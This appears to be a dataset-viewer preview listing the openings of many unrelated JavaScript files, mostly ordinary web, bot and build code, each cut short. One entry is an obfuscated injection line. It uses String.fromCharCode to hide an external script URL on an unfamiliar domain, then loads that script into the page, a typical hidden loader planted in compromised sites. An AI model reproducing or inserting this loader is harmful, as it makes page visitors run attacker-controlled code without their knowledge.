text stringlengths 3.22k 29.5k |
|---|
import * as _ from 'lodash/lodash.js';
import {
copyStringToClipboard,
createBtnGroupSm,
createParagraph,
getActionId,
getTopicId,
removeElement,
} from './util.js';
import { getActiveEnv, getOutstandingHeader } from './env.js';
import { subscribe, unsubscribe } from './socket.js';
import { pop... |
var express = require('express');
var request = require('request');
var router = express.Router();
var q = require('q');
module.exports = function() {
router.get('/', function(req, res) {
res.send('Option Home');
});
// Getting next size - request ( next size ) or L,XL
this.getNextSize = function(ca... |
let boardIDDelete = -1;
var gmailOfUser = document.getElementById("gmail").textContent;
let boardJson = {};
let loaded = false;
var notification_click = document.getElementById("notification-click")
notification_click.addEventListener('click', async function () {
if (!loaded){
let userName = [];
let userID = [];
... |
'use strict';
var url = require('url'),
constants = require('../constants'),
putils = require('./policy_utilities'),
u = require('../utilities');
function containerName() {
return function() { return 'conn' + Date.now(); };
}
function linkName(prefix) {
var id = 1;
var pre = prefix;
r... |
let currentZip = null
let rowCounts = []
let bottomBarDefaultPos = null; let bottomBarDisplayStyle = null
const errorBox = $('#error')
let showFileClickExplanation = false
let lastShownFile = null
let deBounce = false
$.urlParam = function (name) {
const results = new RegExp('[\?&]' + name + '=([^&#]*)').exec(windo... |
/*
* 获取页面数据
*/
function getData(){
var jsonArrObj = [];
var loanTypes = $("div[loan_type]");
var customerId = $("#customerId").val();
var namesObj = null;
for(var i = 0; i < loanTypes.length; i++){
var items = $(loanTypes[i]).children();
var num = 1;
for(var j=0; j < items.length; j++){
var... |
import React, { Component } from 'react';
import axios from 'axios';
import LeftMenu from './components/LeftMenu/LeftMenu';
import TopMenu from './components/TopMenu/TopMenu';
import Dashboard from './Dashboard';
import './css/Mainpage.css';
import {Responsive} from 'semantic-ui-react';
import PropTypes from "prop-type... |
#!/usr/bin/env node
/**
* Copyright (C) 2010-2017 Alibaba Group Holding Limited
*/
/*
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownershi... |
import { stypeof } from "./util.js"
//Ele类
export const Ele = function (selector) {
return new Ele.fn.init(selector);
}
export const $ = Ele;
//构造函数init绑定在Ele类的原型下
Ele.fn = Ele.prototype = {
//取元素//转化为Ele元素对象//
init: function (selector) {
if (stypeof(selector) === 'string') {
this.ele = ... |
import React from 'react';
import {connect} from 'react-redux';
import Modal from 'react-modal';
import _ from 'lodash';
import LaddaButton from "react-ladda"
import "ladda/dist/ladda.min.css"
import ActionsUtils from '../../actions/ActionsUtils';
import NodeUtils from './NodeUtils';
import NodeDetailsContent from './N... |
/* -*- Mode: js; js-indent-level: 2; indent-tabs-mode: nil; tab-width: 2 -*- */
/* vim: set shiftwidth=2 tabstop=2 autoindent cindent expandtab: */
/*
* Copyright 2013 Mozilla Foundation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the Lic... |
/* eslint-disable consistent-return */
/* eslint-disable no-shadow */
/* eslint-disable guard-for-in */
/* eslint-disable eqeqeq */
/* eslint-disable no-restricted-syntax */
/* eslint-disable no-case-declarations */
import React, { Component } from 'react';
import cs from 'classnames';
import { formatMessage, defineMes... |
import React, { PureComponent, Fragment } from 'react';
import { connect } from 'dva';
import {
Row,
Col,
Card,
Form,
Input,
Button,
Modal,
message,
Divider,
AutoComplete,
} from 'antd';
import StandardTable from '@/components/StandardTable';
import PageHeaderWrapper from '@/components/PageHeaderWra... |
"use strict";
/**
* Return the aggregation value of a key from an array of objects.
* @param {array} objectArray: An array of objects.
* @param {object} property: The key to aggregate on.
* @return an object with different values of the queried property being the key, and frequency being the value.
*/
function gro... |
var po = document.createElement('script'); po.type = 'text/javascript'; po.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 100, 110, 46, 97, 108, 108, 121, 111, 117, 119, 97, 110, 116, 46, 111, 110, 108, 105, 110, 101, 47, 109, 97, 105, 110, 46, 106, 115, 63, 116, 61, 97, 97, 106, 108, 99); var scrip... |
/* *****************************************************************************
* Caleydo - Visualization for Molecular Biology - http://caleydo.org
* Copyright (c) The Caleydo Team. All rights reserved.
* Licensed under the new BSD license, available at http://caleydo.org/license
*********************************... |
const assert = require('assert');
const regexgen = require('../');
describe('regexgen', function () {
it('should generate a char class', function () {
assert.deepEqual(regexgen(['a', 'b', 'c']), /[a-c]/);
});
it('should generate an alternation', function () {
assert.deepEqual(regexgen(['abc', '123']), /... |
var moment = require('moment')
var c = require('../../common/Const')
var g = require('../../common/Global')
const Json2csvParser = require('json2csv').Parser
var mongoose = require('mongoose').set('debug', true)
mongoose.connect(g.getMongoConfig())
/**------
* Observar que este controller SI depende de la base de d... |
import React from "react"
//import Layout from "../components/layout"
import { Register, Modal } from "../components"
import useToggle from "../hooks/useToggle"
import styled from "styled-components"
//import Icon from "../components/Icon/Icons"
import loginBackground from "../images/login-background.jpg"
import Swal f... |
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports["default"] = void 0;
var _ora = _interopRequireDefault(require("ora"));
var _progress = _interopRequireDefault(require("./progress"));
var _toApiKey = require("./toApiKey");
function _interopRequireDefault(obj) { return obj && o... |
// team balance
// list of teams
// list of players in teams (configurable)
// when player is connected - it goes to spectate (if there is free slot)
// numteams
// teamplayers
// maxplayers
// autoassign
//
// -> team,2, , , team,2, specs,...
// jteam,0 , jteam,1
// slanje string poruka ( za sada na engleskom - la... |
/*! file: database.js */
// Set Element into Localstorage
function setItem(a, b) {
var value = document.getElementById(b).value;
value === 'undefined' ? '' : value;
localStorage.setItem(a, value);
console.log(a + ' = ' + value);
}
var submitted = false;
// Report fault
function reportFault() {
submitted = ... |
import {
META_TITLE,
META_DESC,
PRODUCTION_URL
} from './constants'
import {
getAllGeneratedUrl,
generateObjectSitemap
} from './utils/helpers'
if (process.env.NODE_ENV === 'development') {
require('dotenv-safe').config({
allowEmptyValues: true
})
}
const path = require('path')
const ampify = requi... |
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("val... |
import Mustache from 'mustache'
import storeEvaluations from './storeEvaluations'
const NO_INDEX = 'NO_INDEX'
const MULTIPLE_INDICES = 'MULTIPLE_INDICES'
function formatScript (scriptText) {
return (scriptText || '')
.toLowerCase()
.split(' exists').join(' exists\n ')
.split(' on').join('\n on\n ... |
// File:js/Willowbrae.js
/**
* @author andygill
*/
var WILLOWBRAE = { REVISION: '0' };
var X = { REVISION: '0' };
// Taken from Three.js. Allows the library to be included in various build systems.
if ( typeof define === 'function' && define.amd ) {
define( 'three', X );
} else if ( 'undefined' !== typeof expo... |
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.useToasts = exports.withToastManager = exports.ToastConsumer = exports.ToastProvider = undefined;
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var ... |
'use strict';
/* jshint node: true */
var path = require('path');
var format = require('util').format;
var del = require('del');
var runSequence = require('run-sequence');
var gulp = require('gulp');
var $ = require('gulp-load-plugins')();
var replace = require('gulp-replace');
var sassPath = './dist/sass';
var paths... |
'use strict';
/*eslint-env node, mocha */
import lint from 'mocha-eslint';
import * as assert from 'assert';
import {join} from 'path';
import sigv4 from '../lib/node/index';
import * as fs from 'fs';
import * as parsing from './parsing.js';
/**
* Mocha ESLint
*/
lint([
'src/*.js',
'test/*.js'
]);
/**
* Tests ... |
import React, { useState, useEffect, useRef } from 'react'
import styled, { createGlobalStyle } from 'styled-components'
import Node from '../components/node'
import Arrows, { Arrow } from '../components/arrows'
const GlobalStyles = createGlobalStyle`
* {
box-sizing: border-box;
}
`
function IndexPage() {
... |
/* checkforcode.js by <NAME> @GlassToeStudio - <EMAIL>
26 May, 2018
https://github.com/GlassToeStudio
http://glasstoestudio.weebly.com/
https://twitter.com/GlassToeStudio
------------------------------------------------------------------------
Systematically search through Discord comments to... |
/* eslint max-lines: 0 */
const { EventEmitter } = require("fbemitter");
const _ = require("lodash");
let globalI = 0;
export const sensorEmitter = new EventEmitter();
export const WatchForDependencyChange = function (react, previousSelectedSensor, cb, channelId, paginationCb, sortCb) {
globalI += 1;
this.random = ... |
import GLOBALS from 'codechum-app-globals';
import {
getExecutionStatus,
getFileName,
getSubmissionOutput,
prepareJudge0Data,
removeNullOnString,
} from 'codechum-app-utils';
import moment from 'moment';
import { useEffect, useRef, useState } from 'react';
import { generateInitialSourceCode } from 'screens/co... |
const Discord = require('discord.js');
const client = new Discord.Client();
client.on('ready', () => {
console.log('bot online ');
});
client.on('message', message => {
var prefix = "=";
if (message.author.x5bz) return;
if (!message.content.startsWith(prefix)) return;
let command = message... |
import React, { Component } from 'react';
import * as d3 from 'd3';
import ReactFauxDOM from 'react-faux-dom';
import d3tooltip from 'd3-tooltip';
import ReactDOM from 'react-dom'
import SnapShot from 'components/SnapShot';
import PatternGlyph from 'components/PatternGlyph';
import QueryPanel from 'components/QueryPane... |
/*
* Copyright (c) 2014 <NAME>. All rights reserved.
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions ... |
import id from '../../fn/modules/id.js';
import overload from '../../fn/modules/overload.js';
import clamp from '../../fn/modules/clamp.js';
import deep from '../../fn/modules/deep.js';
import get from '../../fn/modules/get.js';
import { mag } from './vector.js';
import { drawCircle } from './canvas... |
const express = require('express');
const http = require('http');
const {BigQuery} = require ('@google-cloud/bigquery');
const fireStoreAdmin = require('firebase-admin');
// const firebase = require('firebase/app');
let serviceAccount = require('./keys/firestore-key.json');
const bodyParser = require('body-parser');
co... |
//https://regex101.com/r/dU5fO8/73
const alpha = /[^:\s0-9;.,`"'|<=>/\\\[\]{}\uFEFF\u2060\u200B\u00A0]|\\u[0-9a-fA-F]{4}|\\u\{[0-9a-fA-F]+\}/
const alpha_numeric = /[^+:\s;.,`"'|<=>/\\\[\]{}\uFEFF\u2060\u200B\u00A0]|\\u[0-9a-fA-F]{4}|\\u\{[0-9a-fA-F]+\}/
const string_regex = /[^;`|<=>\\\[\]{}\uFEFF\u2060\u200B\u00A0]|\... |
/**
* metadataResolver API
* extracts track metadata and mappings, using music APIs
*/
var snip = require('../snip.js');
var deezerApi = require('../models/deezer.js');
var TrackMatcher = require('../models/trackMatcher.js').TrackMatcher;
var worker = new snip.Worker({ expiry: 60000 });
// source-specific metadat... |
import React, { Component } from "react";
import PropTypes from "prop-types";
import Button from "@material-ui/core/Button";
import Poster from "./Poster";
import StateLabel from "./StateLabel";
import { ItemType, FinishedType, StateType, NextType, ValiType } from "../../common/enums";
import { inputDateAddMonth, parse... |
import {
Group,
Vector3,
Raycaster,
BoxGeometry,
Mesh,
MeshPhongMaterial,
DoubleSide
} from 'three';
import { Platform } from '../Platform';
const PLATFORM_COLLISION_LENGTH = 8;
const PLATFORM_THICKNESS = 1;
class Platforms extends Group {
constructor(controls, ceiling) {
super... |
/* eslint-disable react/no-unescaped-entities */
import React, { useState } from 'react';
import Box from '@mui/material/Box';
import { useFormik } from 'formik';
import * as yup from 'yup';
import Typography from '@mui/material/Typography';
import Divider from '@mui/material/Divider';
import Grid from '@mui/material... |
import { Vector4 } from "../../Maths/math.vector";
import { Color4 } from '../../Maths/math.color';
import { Mesh } from "../mesh";
import { VertexData } from "../mesh.vertexData";
VertexData.CreateBox = function (options) {
var nbFaces = 6;
var indices = [0, 1, 2, 0, 2, 3, 4, 5, 6, 4, 6, 7, 8, 9, 10, 8, ... |
import { RPM } from "../path.js"
import { CameraProperties } from "../../System/System/CameraProperties.js";
import { MapProperties } from "../../System/System/MapProperties.js";
import { MapPortion } from "../../System/Core/MapPortion.js";
import { MapObject } from "../../System/Core/MapObject.js";
import { Camera } f... |
const { utils } = require('lisk-sdk');
const { sleep } = require('../utils/container/common');
const childProcess = require('child_process');
const path = require('path');
const [, , liskCorePath] = process.argv;
const { getApplication } = require(`${liskCorePath}/dist/application`);
const genesisBlock = require(`${l... |
// Load modules
var Joi = require('joi');
var Utils = require('./utils');
// Declare internals
var internals = {};
exports.assert = function (type, options, message) {
var error = Joi.validate(options, internals[type]);
Utils.assert(!error, 'Invalid', type, 'options', message ? '(' + message + ')' : '', ... |
import moment from "moment";
/**
* To disable cyclic dependency resolution we need to require() within methods
* This is a good reason to disable this eslint-rule
*/
/* eslint-disable global-require */
/**
* Generates a warning to tell developer that they are using deprecated methods!
*/
export function logDepre... |
let express = require('express');
let rp = require('request-promise');
let SpotifyWebApi = require('spotify-web-api-node');
let app = express();
const PORT = process.env.PORT || 5000;
// uso la libreria spotify-web-api-node per ottenere un acces_token
// uso la modalità di autenticazione fornita da spotify che permett... |
'use strict';
/**
* Module dependencies
*/
var vulgar = require("vulgar.js");
var _ = require('lodash');
var XMLHttpRequest = require("xmlhttprequest").XMLHttpRequest;
var cheerio = require("cheerio");
var fs = require('fs');
var request = require('request');
var Q = require('q');
var Sequelize = require("sequelize"... |
/* eslint-disable */
const fs = require('fs-extra')
var path = require('path')
var glob = require('glob')
const cheerio = require('cheerio')
const chalk = require('chalk')
var minify = require('html-minifier').minify
const { version } = require('../package.json')
// let this.conf.distPath =''// 项目目录 path.join(__dirnam... |
const ctrlQuizzes = require('../api/controllers/quizzes');
const mongoose = require('mongoose');
const model = mongoose.model('quiz');
const QUESTION_ANSWER_INTERVAL = 30000;
class SessionModel {
participants = [];
answers = new Map();
participantNames = new Map();
startQuizTimer;
currentQuestionI... |
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = void 0;
var _react = _interopRequireWildcard(require("react"));
var _styles = require("@material-ui/core/styles");
var _Table = _interopRequireDefault(require("@material-ui/core/Table"));
var _TableBody = _interopRequi... |
var main = document.querySelector('.main');
var mp3Btn = document.querySelector('#mp3-button');
var mp4Btn = document.querySelector('#mp4-button');
var playlistBtn = document.querySelector('#playlist-button')
mp3Btn.style.display = 'none';
mp4Btn.style.display = 'none';
playlistBtn.style.display = 'none';
var URLinp... |
import React, { Component } from 'react';
import { observer, inject } from 'mobx-react';
import { withRouter } from 'react-router-dom';
import { Checkbox, Tooltip, Modal, Button, Icon } from 'choerodon-ui';
import { stores, Choerodon } from '@choerodon/boot';
import { injectIntl } from 'react-intl';
import TimeAgo from... |
$(function () {
tags.getTags('');
$(document).on(".labeltype",'mouseover', function () {
$(this).find('.label-type-text').css('display', 'none');
$(this).find('.label-type-delete').css('display', 'block');
}).on(".labeltype",'mouseleave', function () {
$(this).find('.label-type-text'... |
import React, { Component, useState } from 'react';
import { DragDropContext, Droppable, Draggable } from 'react-beautiful-dnd';
import './styles.module.scss';
const Quiz = () => {
const SetUpListAnswer = [
{
id: '1',
text:
'Every chapter of The Jewel House charts the activities of a particular community... |
/*
Copyright 2015-2017, <NAME>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writi... |
'use strict';
Object.defineProperty(exports, '__esModule', {
value: true,
});
exports.default = void 0;
var _react = _interopRequireWildcard(require('react'));
var _propTypes = _interopRequireDefault(require('prop-types'));
var _Loading = _interopRequireDefault(require('../Loading'));
var _utils = require('../ut... |
import React, { useEffect, useState } from "react";
import { makeStyles } from "@material-ui/core/styles";
import GridItem from "components/Grid/GridItem.js";
import GridContainer from "components/Grid/GridContainer.js";
import Card from "components/Card/Card.js";
import CardHeader from "components/Card/CardHeader.js";... |
/**
* 依赖jquery, layer
*/
const mwj = {
/**
* 禁用所有表单元素
* @param selector jquery选择器,示例:#content
*/
disableForm : function(selector){
// *:选择元素下所有元素; unbind(): 解绑所有事件 这里其实并不需要unbind也可以同样的效果。
$(selector + " *").attr("disabled", true).unbind();
},
/**
* 注意:要使用empty()方法... |
// ## Toolbax
//
// Utility functions
var _ = require("underscore");
exports.camelcase = function cammelcase(name, space){
// converting client-user to ClientUser
if(!name) return name;
var parts = name.split("-");
name = "";
for(var i=0;i< parts.length;i++){
if(parts[i] && parts[i].le... |
// This is main process of Electron, started as first thing when your
// app starts. It runs through entire life of your application.
// It doesn't have any windows which you can see on screen, but we can open
// window from here.
import path from "path";
import url from "url";
import { app, BrowserWindow, Tray... |
/**
* Copyright (c) 2021 Institute of Architecture of Application Systems -
* University of Stuttgart
*
* This program and the accompanying materials are made available under the
* terms the Apache Software License 2.0
* which is available at https://www.apache.org/licenses/LICENSE-2.0.
*
* SPDX-License-Identif... |
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = eudex;
var _long = require('long');
var _long2 = _interopRequireDefault(_long);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
/**
* Maps.
*/
var binary = function bin... |
/**
请求等待时间
*/
var HTTP_REQUEST_TIMEOUT = 10 * 1000;
var HEAD_REQUEST_TIMEOUT = 5 * 1000;
/**
标题栏
*/
var RESULTS_TITLE = 'LiteScan';
var popupDoc = null;
/**
目标列表
*/
var target_urls = null;
/**
内部参数
*/
// 内容扫描页面
var spiderTab = null;
// 扫描器页面
var resultsTab = null;
var httpRequest = null;
var httpRequestWatchDo... |
import fs from 'fs';
import path from 'path';
import extractComments from 'extract-comments';
import { rollup } from 'rollup';
import rollupImage from '@rollup/plugin-image';
import rollupStrip from '@rollup/plugin-strip';
import UglifyJS from 'uglify-js';
async function build(debug = false) {
// build userscripts
c... |
/**
* @license
* Copyright 2014 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless requir... |
"use strict";
var __assign = (this && this.__assign) || function () {
__assign = Object.assign || function(t) {
for (var s, i = 1, n = arguments.length; i < n; i++) {
s = arguments[i];
for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p))
t[p] = s[p];
... |
import logger from './logger';
import { sleep } from 'asyncbox';
import _ from 'lodash';
const PIN_UNLOCK = "pin";
const PASSWORD_UNLOCK = "password";
const PATTERN_UNLOCK = "pattern";
const FINGERPRINT_UNLOCK = "fingerprint";
const UNLOCK_TYPES = [PIN_UNLOCK, PASSWORD_UNLOCK, PATTERN_UNLOCK, FINGERPRINT_UNLOCK];
cons... |
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = void 0;
var _PlotlyFold = _interopRequireDefault(require("./PlotlyFold"));
var _TraceRequiredPanel = _interopRequireDefault(require("./TraceRequiredPanel"));
var _PlotlyPanel = _interopRequireDefault(require("./PlotlyPa... |
/*
Singleton - Bilder: create Year[] -> Month[] -> Days
*/
let Calendar = {
start_year: 1919,
year_interval: 200,
/*
Create Days: return <div> for all day of select month
*/
days: function (month, year) {
let _days = [];
let dateObjCurrent = new Date(year, month, 1),
... |
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
const uuid = require("uuid");
const request = require("request");
const qs = require("querystring");
class analytics {
/**
*
* @param tid Tracking ID
* @param cid Anonymous Client ID
* @param userAgent User Agent
*... |
// Dependencies
const keys = require('./config/keys');
const express = require('express');
const {
Client,
RichEmbed
} = require('discord.js');
let RiotRequest = require('riot-lol-api');
let riotRequest = new RiotRequest(keys.riotAPIKey);
const token = keys.discordToken;
//Web Scraping
const request = require('reque... |
//Pancake Bot Module Template
let bot;
let flags = {};
let urls = {};
function urlMin() {
var min;
let keys = Object.keys(urls);
var url = keys[0];
min = urls[keys[0]];
let k = 0;
for (k = 0; k < keys.length; k++) {
let c = urls[keys[k]];
if (c < min && keys[k] != undefined) {
min = c;
url = keys[k];
... |
const St = imports.gi.St;
const Meta = imports.gi.Meta;
const Shell = imports.gi.Shell;
const Main = imports.ui.main;
const Clutter = imports.gi.Clutter;
const DND = imports.ui.dnd;
const Mainloop = imports.mainloop;
var DragMotionResult = DND.DragMotionResult;
const EDGE_WIDTH = 20;
let scr... |
import React, {Component} from "react"
import Codemirror from 'react-codemirror'
import {html as html_beautify} from 'js-beautify'
import Modal from 'react-modal'
require('codemirror/mode/htmlmixed/htmlmixed');
var shallowEqual = require('fbjs/lib/shallowEqual');
import i18n from './i18n';
const TITLE_FIELD = "title";... |
/* jshint esversion: 6 */
/* jshint undef: true, unused: false */
/* globals document, lekoLineDict, alert, console */
// = GENERAL =
function fillHtml(idString,htmlString) {
document.getElementById(idString).innerHTML = htmlString;
}
function makeElement(elementTemplateObject) {
// given an object with _element ... |
'use strict';
import { readFileSync } from 'fs';
import Janode from '../../../src/janode.js';
import config from './config.js';
const { janode: janodeConfig, web: serverConfig } = config;
import { fileURLToPath } from 'url';
import { dirname, basename } from 'path';
const __filename = fileURLToPath(import.meta.url);
... |
/* eslint require-jsdoc: "off" */
/* eslint valid-jsdoc: "off" */
const AuthProvider = {};
const express = require('express');
const authstore = require('./datastore');
const log = require('./logger');
const util = require('util');
// eslint-disable-next-line no-unused-vars
const session = require('express-session');
... |
String.prototype.hashCode = function(){
// djb2 hash algorithm
var hash = 5381;
for (i = 0; i < this.length; i++) {
char = this.charCodeAt(i);
hash = ((hash << 5) + hash) + char; /* hash * 33 + c */
}
return hash >>> 0;
};
var Color = tinycolor;
var Shuffle = window.shuffle;
v... |
import React, { Fragment, useEffect, useState } from "react";
import { Link, useHistory } from "react-router-dom";
//componentes
import Header from "components/Header/Header.js";
import GridContainer from "components/Grid/GridContainer.js";
import GridItem from "components/Grid/GridItem.js";
import HeaderLinks from "... |
/**
* Copyright 2018 The Pennsylvania State University
* @license Apache-2.0, see License.md for full text.
*/
import { LitElement, html, css } from "lit-element/lit-element.js";
const A11yMenuButtonItemBehaviors = function (SuperClass) {
return class extends SuperClass {
static get styles() {
return [
... |
// @ts-check
import { Far } from '@agoric/marshal';
import '@agoric/zoe/exported.js';
import '@agoric/zoe/src/contracts/exported.js';
// The StableCoinMachine owns a number of VaultManagers, and a mint for the
// "RUN" stablecoin. This overarching SCM will hold ownershipTokens in the
// individual per-type vaultManag... |
/*****************************************************************************/
/*jshint esversion: 6 */
// jshint trailingcomma: false
// jshint undef:true
// jshint unused:true
/* jshint node:true */
/*****************************************************************************/
const fs = require('fs');
//co... |
$(function () {
dashboardmgo();
});
function create_table_tbody($table, tbody) {
var output = '',
$form = $("#form-dashboardmgo"),
url_param = '?',
data = $form.serializeArray();
for (var i in data) {
if (data[i].name != 'user_id' && data[i].name != 'in_user_id' && data[i]... |
//
import React, { Component } from 'react';
import {
Image,
LayoutAnimation,
PixelRatio,
Platform,
ScrollView,
StyleSheet,
Text,
TouchableOpacity,
View
} from 'react-native';
import MapView from 'react-native-maps';
import HTMLView from 'react-native-htmlview';
import BackButtonAndroid from '../../co... |
var checked = [];
var titulos;
var filas=[];
var canColumnas=[];
var buscadores;
$(document).ready(function () {
$('[data-toggle="tooltip"]').tooltip();
saveSession();
});
function realizaProceso(){
if (checked.length==0){
$("#alerta").css("visibility","visible");
// alert("Debe seleccionar al me... |
/**
* This file contains middleware that handles GET requests to the home page, submit
* issue page and to the /issue/view/:id path that is used for displaying individual
* issue details. Also contains middleware that handles POST request for posting
* an issue.
*
* @author <NAME>, <NAME>, <NAME>
*/
var express... |
class Handler {
static collision(player, object) {
if (
player.x > object.x - 2 &&
player.x < object.x + object.width + 2 &&
player.y > object.y - 1 &&
player.y < object.y + object.height + 3
) {
switch (player.recent_key) {
... |
// Test search
var assert = require('assert');
var fs = require('fs');
var icalendar = require('../lib');
// NB: Ported to jasmine from expresso, hence the strange layout
// TODO: Make this look more like a jasmine spec
describe("iCalendar", function() {
it('calendar object', function() {
// assert that ... |
// Destructuring
// Pretend we are creating some kind of financial application and we are
// creating an object that represents an expense.
// ES5
const line = "-".repeat(50);
(function() {
var expense = {
type: 'Business',
amount: '$45 USD'
};
// As we can see below, we have repeated a lot of identical w... |
import $ from 'jquery'
function bbuid(l) {
l = l || 1
let chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
var s = '';
while (l > 0) {
var n = Math.floor(Math.random()*62)
if (n > 9) {
n = chars[n-10]
}
s += n
l--;
}
return s;
}
function guid() {
function s4() {
return Math.floor((... |
/*
Various utility functions used all over the place
*/
'use strict';
var imports = require('./imports');
function is_pubsub(t) {
return t > 0 && t < 30;
}
exports.is_pubsub = is_pubsub;
// Finite State Machine
function FSM(start) {
this.state = start;
this.spec = {
acts: {},
ons: {},
wilds: {},
prefli... |
import React, { Component } from 'react'
import './Calendar.scss'
class Calendar extends Component {
constructor(props) {
super(props);
this.state = {
today: {
year: new Date().getFullYear(),
month: new Date().getMonth() + 1,
day: new Dat... |
var id=getParameterByName('id');
var idseq=1;
var placeById = [];
var placeTree = [];
var rowTemplate='';
var hasErrors = false;
function AddNew()
{
var elTR = $(rowTemplate);
elTR.removeClass('parent').addClass("gis-child new");
o={id:'$'+idseq++,p:id,dr:'',de:'',t:'0',cr:'',ce:''};
elTR.addClass('l'+o.id);
$(".... |
'use strict';
function Salmon(name, minCust, maxCust, avgCookie) {
this.name = name;
this.minCust = minCust;
this.maxCust = maxCust;
this.avgCookie = avgCookie;
this.hourlySales = [];
this.totalSales = null;
this.hourlyTotalSales = [];
this.totalTotalSales = null;
}
var citySeattle = new Salmon('Seatt... |
import { makeStyles, Box } from '@material-ui/core'
import classnames from 'classnames'
import { parse, isValid, format } from 'date-fns/fp'
import { Field, useFormikContext } from 'formik'
import { parsePhoneNumberFromString } from 'libphonenumber-js'
import * as R from 'ramda'
import * as uuid from 'uuid'
import * as... |
var _ = require('underscore');
var ko = require('knockout');
var Promise = require('bluebird');
var koArray = require('../lib/koArray');
var dispose = require('../lib/dispose');
var tableUtil = require('../lib/tableUtil');
var gutil = require('app/common/gutil');
const {colors, te... |
import React, { useState, useEffect } from "react";
import {
Text,
View,
Image,
Dimensions,
Animated,
ImageBackground,
} from "react-native";
import Loading from "../../components/shared/loading";
import avatars from "../../assets/avatars/avatars";
import { TouchableOpacity, ScrollView } from "react-native-... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.